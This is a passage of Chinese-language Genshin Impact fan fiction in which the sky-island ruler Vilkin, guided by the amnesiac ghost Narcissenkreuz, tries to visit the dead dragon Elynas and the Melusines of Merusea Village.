古龙们说他是疯子,魔神对老上司还算克制,只是欲言又止;被放逐又被召回的海兽们小声骂骂咧咧,一边宣泄一边害怕被杀鸡儆猴——一切的一切都显得这位天空岛之主早已不太正常。 直到刚刚,那维莱特,亦或者是利维坦『本体』中的血脉记忆揭露了天理的本源,他才恍然,为何那种怪异的异常感充斥着天理的一举一动。 可一切串联起来,居然如此顺理成章。 与美露莘们一样的视角,却拥有无人可敌的力量,以及对于原初之神堪称执迷不悟的执念,那维莱特担心——或者说,他害怕维尔金做些什么。 哪怕他的内心实质上知道,赦免了暗之外海长生种们的天理绝对已经变了许多,他也仍然在心底里恐惧——这来源于古龙对虚假之天已然刻印于血脉的仇恨,以及大审判官对深渊的认知。 海沫村没有透亮的天空,没有洁白的云朵,少有冒险者深入这个几百前年才突然出现的种族聚居地。这其中自然有厄里那斯亡躯自带的魔力影响,大审判官那维莱特所制定的法令更是让好奇心旺盛的人类们不敢随意闯入。 无人胆敢践踏枫丹律法,时间让美露莘们逐渐融入世俗,成为每一个枫丹人出生起就能够见到的日常。人类会把出生之前存在的出视为理所当然,战争结束时,那是战利品;一百年后,那是巨龙的尸骸,等到所有亲历者死去,经历变成历史,历史成为故事,故事演变为传说,就更少有人记起美露莘们的本质。 维尔金说不上这是件好事还是坏事,但在抚平伤痕这一块,遗忘的确是一方良药。记性太好的话,遍地就是仇敌。在被委婉拒绝了一起前往海沫村的请求后,那维莱特怔了怔。神明小声在为美露莘们心忧的眷属耳边说道: “美露莘们又不认识维尔金大人,但大审判官一去,必定会引来多方势力的瞩目,甚至极有可能被被有心人做文章。” 那维莱特沉默片刻,最后压下心中的担忧,微微点头。看,维尔金乏味地想,这就是记忆太好的坏处了。 长生种的一生太长,变化却总是在不经意间发生,一些习以为常的东西就在时间的磨砺和沉眠的长久无望中炼化为虚无的印象,就像铭刻在维尔金本体上的星星,知道它们一直存在,却少有人注意到它们发生了改变。 “不用担心太多。” 维尔金摆了摆手,想要看看那条炼金造物纯属他自己的私心,眼下预言的危机即将到来,他可不放心纳贝里士一个几百年没做过正经业务的神面对。 “我很快就回来。” 第117章 第 117 章 厄里那斯一动不动…… 转身就走不带走一片云彩的确帅气, 但因为图方便直接撕裂空间瞬移到海沫村上访的维尔金此时正在迎接图省事带来的直接恶果。 人在树下乘荫,树枝上的鸟雀叽叽喳喳,维尔金托腮发呆, 把人撵走单独行动, 耳根子固然清净不少, 给纳贝里士找了点事做更是一举两得, 唯一疏忽的点就是, 维尔金低估了“同类”这一存在之于厄里那斯的意义,在后者眼中,拥有同样气息的维尔金可以同“危险”、“毁灭”这几个关键词划等号。 情急之下,厄里那斯火速拉闸断电,彻底封死地上链接海沫村的各个洞穴。厄里那斯太清楚自己的同类究竟有多么可怕的破坏力, 厄里那斯只想保护美露莘们,如果可以,她希望这位不知名的同族能够意识到无功而返后选择离开。 虽然光是循着那股熟悉的外来炼金龙的气味也能够找到美露莘们所处的具体位置, 可死去的炼金龙并未陷入沉眠, 在潜意识中感受到危险的刹那就将通道口全部封死。海沫村异动连锁反应之下,前脚刚踏进沫芒宫还没来得及干活的芙宁娜下一秒就从谕示裁定枢机中感知到了远方海沫村有如深渊入侵的大动静,下一秒, 外置的警报闪烁红光, 发出激荡起水花的巨大声波。 经验丰富的纳贝里士当机立断一巴掌按住正在疯狂闪耀红光的谕示裁定枢机, 只不过由神之心运作的机械显然不甚懂得人情世故, 短暂停止了数秒, 又以更大更频繁的噪音警告枫丹的神明。 声音还惊动了看守的卫兵,靴子踏在地面上发出整齐而急促的嗒嗒声,转眼间,一小队装备精良的卫兵便出现在沫芒宫的这个角落。他们手持制式杖枪, 神情紧张,如临大敌。 然而,当他们的目光掠过现场,锁定在正优雅扶额、一脸“这只是演出的一部分”的芙宁娜身上时,那份紧张感瞬间如同被戳破的气球,噗地一声泄掉了大半。卫兵们交换了一个庆幸的眼神,他们早已习惯了他们敬爱的水神大人时不时带来的、宛若戏剧般的梦幻开场,只是这只眼生的傻鸟…… 卫兵们的目光最终齐刷刷地聚焦在了纳贝里士身上,这只正用翅膀乱拍谕示裁定枢机搏斗的傻鸟,对枫丹廷的卫兵们来说,实在是一张彻头彻尾的陌生面孔。 是他从来没有见过的物种,卫兵队长心里泛着嘀咕,在枫丹,任何陌生的、尤其是能和谕示裁定枢机扯上关系的存在,都值得高度警惕,更别说如今预言闹得人心惶惶,任何端倪都有可能成为搅动风雨的最后一片雪花。 在这微妙的僵持时刻,巡逻队卫兵们的视线终于越过了戏剧性拉满的水神和可疑的怪鸟,发现了那个如同定海神针般,一直静默伫立在旁的身影——最高审判官那维莱特大人。 他站在那里,本身就像一条沉静的律法,卫兵们仿佛找到了主心骨,脸上的不安瞬间被安心所取代。队长立刻上前一步,右手抚胸,恭敬地行礼,语气中带着请示与一丝如释重负: “那维莱特大人,这……” 那维莱特目光平静地扫过仍在发出刺耳噪音的机器,以及旁边一脸“快来解释我负责搞定前辈”的芙宁娜和急得快要炸毛的纳贝里士,然后用他那特有的、不容置疑的平和语调说道: “不用在意。” 那维莱特声调不高,声音却清晰传入每个人的耳中,镇住了突发情报而显得格外紧张地气氛,“我和芙宁娜女士都在这里,此处由我们亲自处理,继续正常巡逻。” 确定并无大碍又得到了最高审判官的亲口指示,卫兵队长立刻躬身领命,毫不犹豫地带领手下转身离开,动作干脆利落,像是多待一秒,都是对那维莱特判断的不信任。 就在卫兵们离开的瞬间,纳贝里士终于憋不住了。他猛地用翅膀拍了一下还在顽强闪烁红光来抗议纳贝里士先前暴力拍打的枢机外壳,声音脆得连芙宁娜都不住后退了半步—— “啧!芙卡洛斯,你们造的这破机器怎么回事?是压根没有关闭键吗?!”他抱怨道,虽说是理不直气也壮,但是声音大无理也显得多出三分,甚至还越说越起劲来:“总不能维尔金大人在枫丹待几天,这机器就得没日没夜地响几天吧?知道的说是预警,不知道的还以为是深渊打进枫丹内部了呢!这也太扰民了——不我的意思是,谁能把他关了?” 那维莱特与芙宁娜对视一眼,在接收到来自后者的强烈推力后,他默默走上前,手掌按住谕示裁定枢机表面,吵个不停的警报声乍然停止,纳贝里士进退两难,最后还是心累的芙宁娜解释: “谕示裁定枢机可以直接用接听神之心的话的方式关掉。”芙宁娜伸手接下爪子扒拉着谕示裁定枢机的纳贝里士,小声吐槽,“当初厄歌莉娅前辈还说过,这是效仿您的办法制作出来的呢……” “咳咳,你们不懂。”纳贝里士心虚得很,“我、我这不是……返璞归真了嘛!习惯了用更原始直接的方法解决问题,谁还总惦记着那些高阶权限啊……” 这话说得底气不足,连纳贝里士自己都觉得有点站不住脚,只能扭过头,用鸟喙梳理了一下其实并不凌乱的羽毛,来掩饰自己的窘迫。 “都怪维尔金动静太大……等等——” 纳贝里士像是突然想起什么一样,一脸不妙: “你们说,这么大的动静,他该不会是跟厄里那斯杠上了吧?” 芙宁娜想了想,不确定道:“……维尔金大人跟厄里那斯,不应该很有共同语言吗?” 不论是“造物”的角度,还是物种的角度,两个“人”应该都很聊得来吧?芙宁娜转念一想,可是纳贝里士又是天理手下的老前辈,他的猜测总不会是空穴来风…… 本来毫不在意的芙宁娜心中升起不详的预感。 “那维莱特。” 被呼唤的大审判官回头望去,只看见芙宁娜抬头,略显疑惑: “你觉得天理会知道海沫村的入口吗?” 那维莱特愣住,露出比芙宁娜更加疑惑的不解,反问道,:“天理在提瓦特还会有不知道的事情?” 芙宁娜若有所思地点点头,也是,若是没有苏醒也就算了,能够以如此姿态行走于世间的维尔金怎么可能连海沫村的入口都找不到? ——总不能说,祂身上的气息已经可怕到连同为深渊本质的厄里那斯也扛不住的地步了吧? 远处的维尔金实实在在打了个喷嚏。 心大的芙宁娜显然不觉得上司大人会被一个小小的海沫村给绊住脚步,那维莱特又被纳贝里士强势拉走,空和荧伸了个懒腰表示劳碌了大半月的辛勤外包打工人急需充电,满意接受了芙宁娜的盛情邀请,并体贴地带走了所有无关人士,为维尔金留足了了私人空间——总之,太过体贴也并非是一件好事。 没人记得美露莘诞生的时候,伟大的天空岛之主还窝在本体里用自闭逃避惨淡的提瓦特未来,在逃避诸多工作的同时,恰好也错过了枫丹人与非人之间的大融合。人类的记忆短暂,诞生不过数百年的厄里那斯也对不上维尔金的脸,维尔金自己也不打算用武力轰开——开什么玩笑,谁家好上司对着下属的子民一通胡乱扫射 事已至此,逃避不甚成功,寻路也收效甚微,维尔金抬头看看藏匿在曜日光晕的星星,估摸一番危机的时间——预言以不可抵挡的姿态将毁灭进程向前推进的同时,也遏制了灾难升级的步伐。世界虽然时不时漏些缝,也依旧□□履行职责,撑几个月没问题,但他不能再继续拖下去了。 休假的精髓在于对公事置之不理,但真要是这样干,维尔金敢保证,第二天目之所至之处就是维系者丢过来的陈年公务,保不齐随机附赠某位苦命魔神的絮絮叨叨。 维尔金蹲在树底下发呆,啊,随便谁都好,快点让他找到一个人或者美露莘,不管是威逼还是利诱,总不能让他直接对着这脆弱的大陆架开肘吧—— “……” 头顶笼罩了一层水雾,维尔金猛抬头,眼神直勾勾地盯着讶异的罪魁祸首。 “我说,现在年轻人连一点基本礼仪都不懂吗?一声不吭地站在别人身后还乱冒蒸汽是非常无理的行为,你爸妈没教过你吗?!” 一个清瘦的年轻人手足无措地站在他的身后,浅灰色的短发还不及肩,身上的衣服纹理典雅古朴,看起来是人类的贵族,似乎是对维尔金的怒火尤为诧异。维尔金更加恼火,本来出师不利就算了,独自发呆纠结的时间还被一个呆呆傻傻的小鬼浪费……实在是亏大了! 年轻人深鞠躬,“抱歉……我只是很惊讶,这是第一次有人能够看见我的存在……至于父母,我确实从没见过他们。” 诸多恶评加身的天理大人瞬间心虚——他无父无母,但法涅斯如维尔金而言,是友人,亦是父母。换位思考,法涅斯被陌生的物种如此点评,维尔金一定会让他知道何为虚假之天的伟力。 既然是理亏在先,维尔金也不再计较年轻人一声不吭当伤感氛围组的诡谲情景,只是拍了拍衣服上的落叶,自己再挪个窝。临走前,维尔金仔细看了看这个奇怪的年轻人,上下打量,不由得啧啧称奇,再一次感慨枫丹物种之丰富多彩: “很有意思,但下次没必要为了维持这种精细的皮囊过度耗费力量,尤其是在你实力比较弱小的情况下。五百岁的年轻人正是发育的时候,友情提示,平时最好加大一下食量,虽然人类社会还挺有意思的,但要是为了维持人类身材把自己饿死了可就太不值当了。” 第118章 第 118 章 纳齐森科鲁兹其人 “……是吗, 原来我不是人类啊!怪不得没有人看见我,不过,我仍然不赞同您刚刚的观点。” 年轻人仿若恍然大悟, 多年的桎梏被开解, 喋喋不休地吐露疑问:“如果‘我’不是人类的话, 我为何会认为我是人类呢?如果我的潜意识在伪装, 那我为何会将人类的身份铭刻至纵然我已经不记得自己为何身在此处、却仍然记得自己的身份和目标呢?所以, 这位尚不知姓名的先生,还请姑且将我称之为‘人类’吧!我想,拥有记忆的、完整的我,是认为自己是人类的。这,才是我的本质。” 年轻人的逻辑自洽甚至说服了维尔金, 后者短暂失语一阵,良久,一向不善哲学思考的维尔金才从震惊中脱出, 接受了这堪比诡辩的逻辑。 会读书的家伙还是不一样一些, 维尔金在心底默默感慨,太诡异了,一个心情抑郁的非人类阴森森地跟在人身后, 然后一开口发现阴森水鬼是哲学家——还是唯心主义。维尔金嘴角抽搐, 他本来还因为大晚上黑灯瞎火一个人站星空底下只看得到自己的本体跟自己面面相觑而心生孤寂, 眼前的非人类小伙一套哲学论述不仅让他都连伤春悲秋的气氛都跑了个干净, 连困意也一起涌上心头。 “你说得对。”维尔金迅速终结隐隐开启的哲学讲座的苗头, 认真地问道,“不过当务之急是找个房子将就一晚,我个人不太接受露天睡觉,有什么推荐的吗?人类的村镇, 美露莘的村子,只要能让我进去的都行。” 说完,维尔金还忍不住摩挲着胳膊,抱怨道:“我可不要一个睡在冰冷无光还只有自己的空地!” 夜幕已然西沉,太阳落下,巨大的虚假外壳遮罩住天空,维尔金很不舒服,这对他来说太过奇怪——被他剥离开来的躯壳就这么明晃晃地孤悬于上空,明明作为核心的自己在地上……但只要一抬头,维尔金仍会从心中漫出一种难以言喻的惊悚感。 他将之归咎于灵魂看见自己躯壳本能的惊惧。 “如果只是一处暂住地方的话还是直接回主城区比较好。” “……果然没有学习人类学到精髓。”维尔金按了按太阳穴,眼前的年轻人虽然给他一种阴森森的寒意,但至少也能把他从那种诡异的感觉中剥离开来,叹了口气,解释道:“我刚刚在暗示你有没有不暴力进入海沫村的办法啦……如你所见,这条死去的龙对我警惕有些过头了。” 年轻人认同地点了点头。警惕维尔金实属正常——如果家门口来一个是实力强大又目的未知的非人类,自家又全是美露莘……想来厄里那斯的担心也是非常正常的。 不过—— “厄里那斯尸骸西南方向的七天神像向海域方向出发,下潜到底再浮出水面后你会发现一个洞,直接跳进去,向南顺着坡直走,上坡然后回发现一个岔口,选右手边那条直走,又会发现一个分叉口,这次选左边就是了。” 维尔金表情难评:“……原来你还真知道啊。” “毕竟我已经待在这里有一段时间了。”年轻人解释道,“一开始不熟,见多了也就知道了。” “如果你真的是人类的话,开个语言培训班应该很有前途。”维尔金热切地苍蝇搓手态,期待道,“正好我要找一下此地的美露莘的造物主,有没有熟人或者熟美露莘引荐一下?就当做打扰我发呆的赔礼——” “等等,聊了半天我还不知道你的名字。”维尔金歪头,手指向自己,“维尔金,不是人。” 年轻人极有礼貌:“不太确定,但如果我的记忆没有出错,我叫纳齐森科鲁兹。至于熟人什么的,这个确实爱莫能助,正如我刚刚所说,您是第一个看见我的人。嗯,美露莘也算在里面。” 维尔金想了想,补充一句:“很好听的名字,取得很有水平,听上去就很博学。” “谢谢。”纳齐森科鲁兹点点头,这方便倒是不怎么谦虚,“我也觉得这是一个很好听的名字,很温暖,也很喜欢。” “或许跟你失去记忆有关。”维尔金思索,失忆无非就那么几个原因,年纪大了、突逢巨变大脑应激,还有手动抹除。考虑到纳齐森科鲁兹灵魂的岁数,第二种和第三种的可能性不小,那这样的话,想不起来说不定也是一件好事。 聪明人说话点到为止,纳齐森科鲁兹没有说话,维尔金耸耸肩,也是,记忆这种东西的价值取决于自身的想法,而不管是什么物种,基本上都是不撞南墙不回头的个性。 记忆更是如此,只有在拿回它的时候,才能评判这份记忆是否值得被记住,反正都取决于当事人了。 “我一直认为,人类也好,野兽也罢,无论智慧的高低与岁数的长短,在直面死亡的危险与未知的恐慌时,必然会褪去所有的伪装。曾经有一个残忍的实验,一名疯狂的语言学家将数只来自不同地区的丘丘人扔进煮沸的坩埚,以研究不同地区间丘丘人语言发音中的细微差别。他惊讶地发现,在沸水中尖叫嘶吼的丘丘人们在临死前不约而同地用他们部族的语言喊出了相同的意思,虽然研究很快因为‘不够人道’而被命令禁止,语言学家本人最后也不知所终,但实验的结果仍然小范围地传播了出来。” 纳齐森科鲁兹顿了顿,眼神却不由自主地飘向了东北方向—— 维尔金顺着方向看过去,那不是主城区的方向,隐隐约约,似乎还能看见废旧的巨大遗迹和破碎的圆环。 “他们所喊的词语意思是‘妈妈’,在生命的最后,生命抛弃了一切的外在,选择拥抱他们想要回归的母胎。” “我相信,本能会指引生命在绝望时寻找他们的来路,我也相信,在生命一无所有的情况下,他本能所追求、所执着的,必然是他的来路。”纳齐森科鲁兹认真地、一字一句地说道。 模仿人类是一个极其考验非人类操作常识和微操的行为,离群索居、太久没有汲取新鲜人类知识就去傻傻伪装会显得很蠢很呆;用力过猛则过于生硬,容易被围观的同族嘲笑。维尔金从来没有见过这么坚定地非人类,在漫长的岁月中,神志会被腐蚀,记忆会被忘记,力量会被销蚀。偶尔有勇士能够咬牙坚持,但更多的,不过是雄心壮志渐渐湮灭,承认自己的弱小、自己的无能、自己的失败。 很少有像纳齐森科鲁兹一样对自己认知如此坚定的存在。 “真好呀。”维尔金由衷赞叹,“希望你能够得偿所愿。” 漆黑的星空中,一颗暗淡的星辰顽强地闪烁了几下。 于此同时,盗宝团营地—— “喂,突然不说话了?”伊洛丝不满地看向眼前这个奇怪的商人,“不是说让我们从美露莘手上把画弄回来吗?我说了这事儿两百万摩拉就能包圆,你该不会还觉得这个价格算贵吧?” “这已经是我们最最最优惠的价格了!一条龙服务,我们的伊洛丝队长亲自出来,保证你坐家里就能舒舒服服地喝着红酒吃着饭就能拿到画呢!”一旁的瘦小伙也赶紧附和,生怕延期那的冤大头临时改变主意。 “不必了。” 男人压低帽檐,毫不留恋转身离开。 两名盗宝团成员对视一眼,跟班的赶紧说: “不急不急,咱们定金不是都谈好了……价格嘛,有商有量。” 刚刚还盛气凌人的伊洛丝也缓和了不少:“您要是觉得贵,打个折也不是不可以……就是这个效率嘛……” “我说,滚。” —— 男人侧目,吓得伊洛丝拉着小弟赶紧逃跑。他们只是喜欢赚钱喜欢挖宝藏而已,暂时没有为了挣钱丢掉自己小命的想法。 赶走了无关人员,男人摘下帽子,彬彬有礼年轻有为的商人皮囊烧灼起暗色的黑炎,紫色的雷电撕碎人类的皮囊,露出这位看似无害的商人的本相。 如果维尔金在场,很快就能辩认出,眼前伪装成商人的家伙,居然跟刚刚认识的纳齐森科鲁兹拥有几乎一模一样的本质,唯一不同的是,眼前的家伙已经完全抛弃了自己作为人类的事实,就连情感和性格也在朝着深渊物种们靠近。 "真有你的啊。" “雷内,兄长……” 第119章 第 119 章 厄里纳斯开个门缝…… 昔日足以撼动海渊的伟力, 如今沉寂在斑驳的岩壳与悄然滋生的幽紫结晶之下,安于沉醉于过家家般的玩乐种。百年转瞬即逝,魔龙的身躯已然腐朽, 可那腐败的气息已经如呼吸的空气一般弥漫, 萦绕在这片由死去魔龙身躯构筑的独特领域, 海沫村。 光线透过海水, 经过那些晶体的折射, 投下摇曳的、梦境般的光斑,笼罩着那个正坐在一块反射出镭射炫光的贝壳。做完一切后,厄里那斯凝聚意识,就看见了独自坐在贝壳上,对着画板出神的美露莘的小小身影。 "怎么了玛梅赫?" 厄里那斯的声音如同潮汐抚过沙砾, 直接在小小美露莘的心底温柔地响起。 呀,是父亲大人! 玛梅赫回神,眨了眨眼睛, 抬起头, 带着一丝被骤然拉回神的恍惚,揉了揉脑袋,警惕地向身后的通道望了望, 确认刚刚那股莫名的异响只是自己的错觉后, 才小声说:“刚刚好像有人在喊我的名字, 父亲大人。” “在喊你的名字?” 厄里那斯顿觉不妙。是了, 玛梅赫的灵性超越了绝大多数的美露莘, 她能感受到那一瞬间的气息并不奇怪。但如果地面上的那人——不,应该说,那位不曾见面的同类继续坚持找他,而玛梅赫的灵魂又能与那人链接……玛梅赫是个可爱善良的孩子, 或许那位远道而来前来造访的同类也足够温柔平和,但厄里那斯太清楚他们自己的力量了。 一次共舞,可以瞬间掀翻洞窟和城堡;一次快意洒脱的交流,更可能会毁掉美露莘们的心血——厄里那斯能感觉到那个存在,在岛上的某处徘徊,没有攻击性,却带着一种不容忽视的、本质上的危险性。 “怎么了父亲大人?是有坏人吗?”玛梅赫感受到了厄里那斯抑制不住的担忧,紧紧抱住自己的画板。 “玛梅赫,不要担心。”身形与玛梅赫同样小巧、内里却充满了巨大力量的厄里那斯抱住自己的孩子,歪了歪头,安抚性地拍拍美露莘的小脑袋。思索再三后,厄里那斯终究还是没有把事情的真相完全托出,知道太多对他的孩子们而言只是徒添烦恼,于是只是委婉提醒,“最近告诉大家,要小心一点。外面可能不太平静,最近两天就不要出去了。” 玛梅赫乖巧地点点头。小画家没什么多余的心思,对于玛梅赫而言,父亲大人是最可靠的!虽然不太明白具体要小心什么,但父亲大人的话总是有道理的!与父亲大人独处,玛梅赫很快将那瞬间的异样感抛在脑后,心思回到了眼前更重要的事情上。她举起手中的画板,脸上绽放出期待的光芒,那光芒纯粹得能驱散任何阴霾。 “父亲大人,你看!我新画的画!” 厄里那斯低头,那画作落入普通人类的眼中,只觉得色彩大胆得堪称抽象,小孩看到当场就吓得哭出来也说不定。混乱又浓烈的色彩仿佛具有生命力一般,在魔龙的视野之中,纯粹的鲜血与沉郁得化不开的深幽星空交织、碰撞,勾勒出比梦中的来处更加绮丽的地方。 厄里那斯捧起画作,他很少用视觉去看,大多时候、尤其是在精神世界中,他更爱用自己的本质去感受。幸好,玛梅赫的画作从来都不是静态又孤零零的图像,就像这幅优美的画作,狂放的笔触是在书写种群的来处,冲突的色彩是在描绘那折磨却又重要的过去,那些扭曲的形态则是他们本身—— 任何一个拥有知性的深渊魔物在此处都一定会为玛梅赫的画作而发出赞叹,厄里那斯忍不住感慨:小小的美露莘,被人类社会接纳的美露莘,不同于寻常深渊魔物、却又与被整片大陆敌视的深渊魔物同根同源的存在,居然用提瓦特的艺术与深渊的视野相结合,作出了如此的奇迹。 ——光是畅想着这不存在的美好,厄里那斯的心脏都像是冲上能,开心得能够从枯骨中凝练出血肉一般。 某种意义上,这番夸耀并不单单是厄里那斯父爱爆棚带来的滤镜。深渊,并非纯粹的毁灭与污秽,在厄里那斯久远的印象里,那是未被秩序驯服的、充满无限可能与原始力量的广袤星海。玛梅赫的画所触及的,正是这种原初的、混沌的、蕴含着磅礴生命力的真实,世界褪去了文明赋予的、规整的外衣,露出了其内核中疯狂而瑰丽的本质。 “无与伦比的美,我的孩子。” 厄里那斯的声音带着由衷的赞叹,“一如我来到这个世界时天空裂开散发的霞光,交织的线条又仿若龟裂的大地。你很棒,玛梅赫,你的天赋无出其右,你的作品应当被更多人观赏。” 得到夸奖的玛梅赫开心地晃动着身体,发出细碎而愉悦的声响。她指着画面上那一团最浓重的、夹杂着暗金色的猩红区域,认真地说:“这里是父亲大人的心脏!还在有力地跳动着!我感觉得到!” 厄里那斯微微一愣,不自觉柔和了许多,心中因为身躯附近来了一个同族的担忧也削减了几分,他很高兴,玛梅赫看到的,从来不是他外表的死去,他很高兴,美露莘们之中还有救能够看见自己的存在。 “还有这里,”玛梅赫的手指移向一片幽紫与蓝色漩涡交织的地方,“和刚刚那副父亲大人翱翔于高天的作品不一样,这幅画画的是村子,大家在里面,很安全,很温暖。” 玛梅赫兴致勃勃地讲解着画中的每一个部分,厄里那斯静静地聆听着。 海沫村内部,光线梦幻,晶石无声闪烁。地下的洞窟的晶石似乎是感应到了魔龙久违的活跃,微微加快闪烁的频率。 地下洞窟隐约能听到细微的水流声,地脉涌动之处,甚至能够听到某种近似叹息的、悠长的回响。 与此同时,顺着那道带着明显同源气息的指引以及当地人纳齐森科鲁兹的指路,维尔金异常顺利地抵达了海沫村的入口处。 ——顺利得有些不太真切,维尔金想。 “看来此地的主人好像不太乐于被我们造访呢,维尔金先生。”很不会看脸色纳齐森科鲁兹直白说道,他也是头一次见到海沫村的洞口紧闭,显然是某人感知到他们的到来,刻意封住了入口。 看来新朋友来头不小,纳齐森科鲁兹单手托住下巴,内心已经不动声色盘算。毕竟他可从来不曾被如此严阵以待,也巧,自他有记忆以来,也有无数人也曾造访海沫村,可从来没人能的此殊荣。更别说维尔金对此似乎早有心里准备,既然如此,从来魔龙知晓身份、对美露莘有兴趣的非人类长生种,几个关键词摆出来,新朋友的身份已经呼之欲出—— 纳齐森科鲁兹自信地给出答案:想来,应该是某位力量尚存,且不知如何侥幸抵过磨损,保存了大部分实力的魔神。 如果是这样……齐森科鲁兹半抿着唇,心中已然升起一些额外的想法。 维尔金站在一片被奇特肉质组织和晶簇环绕的浅水区前,这里本该是一个通道,此刻却被蠕动的、带着珍珠般光泽的肉膜彻底封死。周围安静得过分,只有水波轻轻拍打着他鞋面的细微声响。 “有点意思。”维尔金低声自语,声音在封闭的空间里显得有些空洞,“这么能沉得住气吗,打算一直装死?” 维尔金站在浅水区边缘环顾四周,彩色的泡泡路灯静静悬浮着,下方精致却空无一人的粉色小屋已经人去楼空,只剩下照明的灯柱投下斑斓却毫无温度的光晕。维尔金上前,触碰虚无的空气,果不其然,离通道口最边缘的地方只是幻觉。而通往更深处的路径都被类似的泡泡壁阻断,整个海底已然陷入了一种仓促而针对性极强的静默。 一种难以言喻的无语感慢吞吞地爬上维尔金的心头。 有时候他真想骂两句,这些家伙满脑子在想些什么?古龙磨磨唧唧疑神疑鬼他都认了,毕竟确实是他当年动手在先,可厄里那斯这八竿子打不着、甚至哪怕是坎瑞亚战争也都完全没见过的陌生龙凑什么热闹?且厄里那斯也不是本地龙呢,真要从保护提瓦特的角度,明明是他维尔金才更有资格发难吧? “总不能知道我来,全给躲起来了吧?”维尔金撇撇嘴,像是抱怨,又像是自我安慰,“我还指望能找到一条能好好说话又与工作无关的龙呢。” 纳齐森科鲁兹只能微笑,真是丝毫没有半点遮掩自己身份的自觉呢。换种说法,他对自己的实力……有着相当自信? 事实上,维尔金的的确确是期待着一条与天空岛、坎瑞亚和魔神们完全无关的同类的出现。厄里那斯某种程度上和他很像,甚至比他更好地承担了一位造物主的职责——美露莘们融入枫丹的确离不开那维莱特的帮助,但压抑着复苏本能的厄里那斯显然付出了更多。 维尔金相信有着相似选择厄里那斯一定能共情他,或许还能提供一些有价值的建议,或者至少,是一个能安静听他发发牢骚的耳朵。 只是—— 维尔金盯着那堵仿佛在轻微呼吸的肉壁,能清晰地感受到其中蕴含的拒绝之意。那并非强烈的敌意,更像是一种源自本能的、坚决的防护。不难理解厄里纳斯的做法,刚才他试图探查那瞬间无意识流露的气息,惊动了急于保护幼崽的魔龙。 “啧,防备心这么重……”他小声嘀咕,带着点被误解的无奈。 维尔金伸出手,指尖萦绕起一丝极淡的、几乎难以察觉的金色光晕,轻轻触碰那层泡泡膜。后者立刻应激般地收缩了一下,变得更加紧绷,同时,他感觉到脚下厄里那斯那庞大的身躯内部,似乎有一种低沉的能量开始缓慢流转,如同沉睡的巨兽调整了姿势,将脆弱的部位更好地保护起来。 啊,甚至把自己蜷缩起来了吗?这么怕的吗? 原本打算直接撕破泡膜的维尔金手指一顿,犹犹豫豫,最终还是选了一处低矮的石壁原地等待。 只要厄里那斯鼻子没出毛病,应该很快就会闻着味跑过来堵他。 一点让宅家魔龙收拾好自己心情的时间而已,他等得起。 而在这曾吹弹可破的泡泡膜之后,在那光线梦幻的洞窟深处,玛梅赫刚刚讲解完她画作上最后一处得意的细节,她用混合了荧光砂砾描绘出的、如同星云般旋转的亮点,在厄里那斯眼中,无异于瑰丽星空的命星。 如果可以,厄里纳斯不介意用一整天来聆听,只是可惜,那位拥有着可怕气息的同族已经堵在了海沫村入口。 值得庆幸的事,那位同族似乎并不打算直接闯入——厄里那斯半是安心半是不解,玛梅赫看在眼里。 “父亲大人,”玛梅赫放下画板,似乎察觉到那无处不在的守护意志比平时更加凝聚,带着一种不易察觉的紧绷,“外面……是有什么东西吗?” 厄里那斯沉默了片刻,那悠长的、如同叹息般的回响再次掠过洞窟。 “没什么。”他的声音依旧温和,却带着不容置疑的坚定,“只是一阵风而已,不必担心。你先回去休息,我要去关下门。” 他庞大的意识如同最柔软的毯子,轻轻覆盖在玛梅赫身上,隔绝了外部那缕虽然微弱、却本质非凡的探寻。玛梅赫迷迷糊糊,眼皮越来越沉重,在意识停留的最后一秒,小小的美露莘脑子里突然闪过一个问题。 村子口……有门这种东西吗? 洞窟内膜外,晶石闪烁,水流潺潺,除了闪烁的节奏突然错乱了几分外,仿佛什么都没有发生。察觉到魔龙态度变化的维尔金睁开眼 ,发自内心感慨: “这年轻龙还是比古龙思想开放点啊。” 第120章 第 120 章 和龙比较会偷走神的幸…… 气氛一时有些凝滞。 厄里那斯那庞大的意识如深海的潮水一般拍来, 又在即将触碰到维尔金的前一刻,悄然化作温顺的溪流,似乎只是简单告知同族自己的到来。厄里那斯所过之处, 水流点起微末的荧光, 幽暗的洞穴内部乍然视野开阔。 静立在一旁、几乎与阴影融为一体的纳齐森科鲁兹往后退了几步, 对这些幽蓝格外警戒。维尔金只当他畏惧魔龙的力量, 半是安慰半是稳定情绪般按住他的肩。 纳齐森科鲁兹一时间进退两难, 本能告诉他,这时候最好不要表现出任何异样为妙。 厄里那斯完全没有读懂纳齐森科鲁兹微妙的排斥,凝聚身形,眼睛张得大大地,好奇看向两位不请自来的客人: “远道而来的同族, 还有这位不知道为何一直待在上面发呆的、人类朋友,你们好。” 海底深处最温柔的洋流用一种奇异的、近乎天真的热情迎接这两位不速之客。“虽然不知道你来看我的目的,但还是谢谢你关心哦, 以及, 提瓦特里面真是一个非常非常好的地方呢!” “……好像也没有那么友善。” 维尔金嘴角微不可察地抽动了一下,颇有些心虚。情报有误,厄里那斯好像比杜林还要天真些。 ……真是的, 维尔金有些头疼, 一时之间他都不知道说什么好。 归根结底, 一切的一切都是坎瑞亚人的错。要是他们不去研究这些奇奇怪怪的东西, 老老实实待在提瓦特, 也别去染指地脉,大家本来都可以过得更加幸福。 这些被莱茵多特从星空吸引至人造之躯的魔龙们,本不应成为囚徒。 如果视野并非颠倒,如果大家的心灵相通, 维尔金想,所有的人与非人,应该都会更加幸福。 维尔金瞥了一眼身旁如同幽影般沉默的纳齐森科鲁兹,这位同行者从进入到这里开始就异常安静,一直极力降低自己的存在感,虽然纳齐森科鲁兹什么都没说,但维尔金已经猜测得八九不离十,想来又是有什么仇怨纠葛。 对于活着的人类而言,强大的长生种一呼一吸,都是可怕的天灾。 尔金能感觉到纳齐森科鲁兹身上传来一种细微的、近乎本能的紧绷,像是某种被压抑的不适,不过现在见到厄里那斯没有立马发疯喊打喊杀,那纳齐森科鲁兹应该可以归纳到理智派…… 确认纳齐森科鲁兹暂时没有极端想法,维尔金斟酌措辞,选择了一个最不刺激的真实原因: “来的路上听说了你的事迹,我对喜欢提瓦特的同族多多少少会产生一点好奇心。” 维尔金想了想:“还有美露莘,真是连我都想象不到的奇迹,那些个爱啃世界树的家伙肯定没想到吧?照这样下去,恐怕他们这种原始的吞噬毁灭派才会成为异类……真不错。” “……可以告诉我,当时创造出美露莘们的经过吗?” 